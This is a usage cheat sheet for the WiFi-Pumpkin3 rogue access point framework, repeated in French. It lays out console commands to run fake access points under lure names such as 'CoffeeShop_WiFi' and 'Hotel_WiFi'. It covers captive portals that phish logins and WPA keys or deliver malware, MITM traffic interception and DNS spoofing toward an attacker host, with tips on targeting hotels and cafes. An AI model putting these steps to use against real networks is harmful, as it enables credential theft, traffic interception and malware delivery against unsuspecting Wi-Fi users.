wifipumpkin3

Overview

WiFi-Pumpkin3 is a comprehensive rogue access point framework. It creates fake APs to lure clients, intercepts their traffic, serves captive portals for credential phishing, and supports plugins for DNS spoofing, SSL stripping, and traffic manipulation.

Installation

pip3 install wifipumpkin3
# or
git clone https://github.com/P0cL4bs/wifipumpkin3
cd wifipumpkin3
python3 setup.py install

Basic Usage

Launch interactive console

wifipumpkin3

Launch with configuration file

wifipumpkin3 --config config.ini

Non-interactive with script

wifipumpkin3 --pulp script.wp3

Creating a Rogue AP

# In wifipumpkin3 console:
wp3 > set interface wlan0
wp3 > set ssid "FreeWiFi"
wp3 > set proxy noproxy
wp3 > start

# Or with internet access (more believable)
wp3 > set interface wlan0
wp3 > set ssid "CoffeeShop_WiFi"
wp3 > set internet true
wp3 > set internetinterface eth0
wp3 > start

Captive Portal Phishing

# Enable captive portal
wp3 > set proxy captiveflask
wp3 > set ssid "Hotel_WiFi"
wp3 > start

# Captive portal plugins:
# - login form (email/password capture)
# - network password (WPA key phishing)
# - software update (malware delivery)

Traffic Interception

# Enable MITM proxy
wp3 > set proxy mitmproxy
wp3 > start

# Or use noproxy + external sniffer
wp3 > set proxy noproxy
wp3 > start
# Then: wireshark/tcpdump on ap0/wlan0ap

DNS Spoofing

# Configure DNS spoof
wp3 > set plugin dnsspoof
wp3 > set plugin.dnsspoof.domains {"example.com": "10.0.0.1"}
wp3 > start

# Redirect all traffic for a domain to attacker

Automation Scripts

# .wp3 script file example:
set interface wlan0
set ssid "FreeWifi"
set proxy noproxy
ignore pydns_server
start
sleep 60
stop

Tips

• Requires a wireless adapter that supports AP mode (monitor mode alone is not sufficient)
• Two adapters recommended: one for AP, one for internet passthrough
• Captive portal attacks are most effective in hospitality environments (hotels, cafes)
• WPA Enterprise evil twin is more reliable — use eaphammer for that
• SSL stripping has limited effectiveness against modern HSTS-protected sites

wifipumpkin3 [options]

--interface I   Wireless interface
--ssid S        AP SSID
--config F      Config file
--pulp F        Script file (.wp3)

Console commands:
  set KEY VALUE    Set configuration
  start            Start the access point
  stop             Stop the access point
  plugins          List available plugins
  show             Show current settings
  help             Show help

Vue d’ensemble

WiFi-Pumpkin3 est un framework complet de point d’accès rogue. Il crée de faux AP pour attirer les clients, intercepte leur trafic, sert des portails captifs pour le phishing d’identifiants, et prend en charge des plugins pour le DNS spoofing, le SSL stripping et la manipulation de trafic.

Installation

pip3 install wifipumpkin3
# ou
git clone https://github.com/P0cL4bs/wifipumpkin3
cd wifipumpkin3
python3 setup.py install

Utilisation de base

# Lancer la console interactive
wifipumpkin3

# Lancer avec un fichier de configuration
wifipumpkin3 --config config.ini

# Non interactif avec un script
wifipumpkin3 --pulp script.wp3

Créer un AP rogue

# Dans la console wifipumpkin3 :
wp3 > set interface wlan0
wp3 > set ssid "FreeWiFi"
wp3 > set proxy noproxy
wp3 > start

# Ou avec accès Internet (plus crédible)
wp3 > set interface wlan0
wp3 > set ssid "CoffeeShop_WiFi"
wp3 > set internet true
wp3 > set internetinterface eth0
wp3 > start

Phishing par portail captif

# Activer le portail captif
wp3 > set proxy captiveflask
wp3 > set ssid "Hotel_WiFi"
wp3 > start

# Plugins de portail captif :
# - formulaire de connexion (capture email/mot de passe)
# - mot de passe réseau (phishing de clé WPA)
# - mise à jour logicielle (livraison de malware)

Interception de trafic

# Activer le proxy MITM
wp3 > set proxy mitmproxy
wp3 > start

# Ou utiliser noproxy + un sniffer externe
wp3 > set proxy noproxy
wp3 > start
# Puis : wireshark/tcpdump sur ap0/wlan0ap

DNS spoofing

# Configurer le DNS spoof
wp3 > set plugin dnsspoof
wp3 > set plugin.dnsspoof.domains {"example.com": "10.0.0.1"}
wp3 > start

# Rediriger tout le trafic pour un domaine vers l'attaquant

Scripts d’automatisation

# Exemple de fichier script .wp3 :
set interface wlan0
set ssid "FreeWifi"
set proxy noproxy
ignore pydns_server
start
sleep 60
stop

Conseils

• Nécessite un adaptateur wireless prenant en charge le mode AP (le mode monitor seul ne suffit pas)
• Deux adaptateurs recommandés : un pour l’AP, un pour le passthrough Internet
• Les attaques de portail captif sont les plus efficaces dans les environnements d’hospitalité (hôtels, cafés)
• L’evil twin WPA Enterprise est plus fiable : utiliser eaphammer pour cela
• Le SSL stripping a une efficacité limitée contre les sites modernes protégés par HSTS

wifipumpkin3 [options]

--interface I   Wireless interface
--ssid S        AP SSID
--config F      Config file
--pulp F        Script file (.wp3)

Console commands:
  set KEY VALUE    Set configuration
  start            Start the access point
  stop             Stop the access point
  plugins          List available plugins
  show             Show current settings
  help             Show help